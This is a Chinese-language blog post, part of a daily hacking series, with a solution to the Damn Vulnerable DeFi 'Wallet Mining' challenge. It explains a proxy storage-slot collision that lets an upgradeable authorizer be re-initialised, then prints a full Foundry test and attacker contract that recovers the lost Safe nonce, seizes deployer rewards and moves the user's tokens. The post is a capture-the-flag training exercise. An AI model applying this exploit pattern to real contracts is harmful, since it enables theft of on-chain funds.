iT邦幫忙

2024 iThome 鐵人賽

DAY 16
0
There’s a contract that incentivizes users to deploy Safe wallets, rewarding them with 1 DVT. It integrates with an upgradeable authorization mechanism, only allowing certain deployers (a.k.a. wards) to be paid for specific deployments.

The deployer contract only works with a Safe factory and copy set during deployment. It looks like the Safe singleton factory is already deployed.

The team transferred 20 million DVT tokens to a user at 0x8be6a88D3871f793aD5D5e24eF39e1bf5be31d2b, where her plain 1-of-1 Safe was supposed to land. But they lost the nonce they should use for deployment.

To make matters worse, there’s been rumours of a vulnerability in the system. The team’s freaked out. Nobody knows what to do, let alone the user. She granted you access to her private key.

You must save all funds before it’s too late!

Recover all tokens from the wallet deployer contract and send them to the corresponding ward. Also save and return all user’s funds.

In a single transaction.

Analyze WTF

按照題目的要求,我們首先需要幫一個天才找到它弄丟可以用於部署合約的 nonce,然後合約中有一些問題,像是 TransparentProxy,其中的一些功能會產生衝突,例如 AuthorizerUpgradeable 中的 needsInit

當它的值不為 0 的時候就可以調用 int() ,然後就可以增加獲取錢包的地址,然後因為它們都使用第一個儲存槽,從而 AuthorizerUpgradeable 未再次初始化

然後合約中還設定了一個 WalletDeployer,它可用於部署像錢包一樣的錢包 USER_DEPOSIT_ADDRESS,然後可以利用 WalletDeployer.drop 去追蹤出 nonce 是怎麼用的

至於剩下的,就是耍一些小手段來達成我們的目的

Solve WTF

整理完上面的資訊以後,我們就可以寫出一個攻擊合約

測試 function:

    function test_walletMining() public checkSolvedByPlayer {
        address ZEROAddr = address(0);
        address[] memory owners = new address[](1);
        owners[0] = user;


        // 生成 Safe 初始化的數據
        bytes memory initializer = abi.encodeWithSelector(Safe.setup.selector, owners, 1, ZEROAddr, "", ZEROAddr, ZEROAddr, 0, ZEROAddr);

        // 計算 Safe 部署的創建碼和目標地址
        bytes memory deploymentData = abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))));

        uint256 saltNonce;
        for (uint256 i = 0; i < 100; ++i) {
            bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), i));
            address walletAddress = Create2.computeAddress(salt, keccak256(deploymentData), address(proxyFactory));
            if (walletAddress == USER_DEPOSIT_ADDRESS) {
                console.log("nonce: ", i);
                saltNonce = i;
                break;
            }
        }

        // 構建 Safe 交易並進行簽名
        bytes memory execData;
        {
            address to = address(token);
            uint256 value = 0;
            bytes memory data = abi.encodeWithSelector(token.transfer.selector, user, DEPOSIT_TOKEN_AMOUNT);
            Enum.Operation operation = Enum.Operation.Call;
            uint256 safeTxGas = 100000;
            uint256 baseGas = 100000;
            uint256 gasPrice = 0;
            address gasToken = address(0);
            address refundReceiver = address(0);
            uint256 nonce = 0;
            bytes memory signatures;

            // 計算交易哈希和簽名
            {
                bytes32 safeTxHash = keccak256(
                    abi.encode(
                        0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8, // SAFE_TX_TYPEHASH
                        to,
                        value,
                        keccak256(data),
                        operation,
                        safeTxGas,
                        baseGas,
                        gasPrice,
                        gasToken,
                        refundReceiver,
                        nonce
                    )
                );

                bytes32 domainSeparator = keccak256(abi.encode(
                    0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218, // DOMAIN_SEPARATOR_TYPEHASH
                    singletonCopy.getChainId(),
                    USER_DEPOSIT_ADDRESS
                ));

                bytes32 txHash = keccak256(abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash));
                (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, txHash);
                signatures = abi.encodePacked(r, s, v);
            }

            // 構建 Safe 交易的執行數據
            execData = abi.encodeWithSelector(
                singletonCopy.execTransaction.selector,
                to,
                value,
                data,
                operation,
                safeTxGas,
                baseGas,
                gasPrice,
                gasToken,
                refundReceiver,
                signatures
            );
        }

        // 部署攻擊合約並執行攻擊
        new WalletMiningAttacker(token, authorizer, walletDeployer, USER_DEPOSIT_ADDRESS, ward, initializer, saltNonce, execData);
    }

攻擊合約:

contract WalletMiningAttacker {
    constructor(
        DamnValuableToken token,
        AuthorizerUpgradeable authorizer,
        WalletDeployer walletDeployer,
        address safe,
        address ward,
        bytes memory initializer,
        uint256 saltNonce,
        bytes memory txData
    ) {
        // 設置權限
        address[] memory wards = new address[](1);
        address[] memory aims = new address[](1);
        wards[0] = address(this);
        aims[0] = safe;
        authorizer.init(wards, aims);

        // 執行 WalletDeployer 的 drop 函數,部署 Safe
        bool success = walletDeployer.drop(safe, initializer, saltNonce);
        require(success, "Safe deployment failed");

        // 轉移代幣給指定的 ward 地址
        token.transfer(ward, token.balanceOf(address(this)));

        // 執行 Safe 的交易
        (success,) = safe.call(txData);
        require(success, "Safe transaction execution failed");
    }
}

https://ithelp.ithome.com.tw/upload/images/20240930/20163009k3wZrVzRfy.png
每日梗圖(1/1)
https://ithelp.ithome.com.tw/upload/images/20240930/20163009mlfZJCFJCv.jpg


上一篇
Day 15 - Climber_欸你看山羌欸
下一篇
Day 17 - Puppet V3_木偶 3.0
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言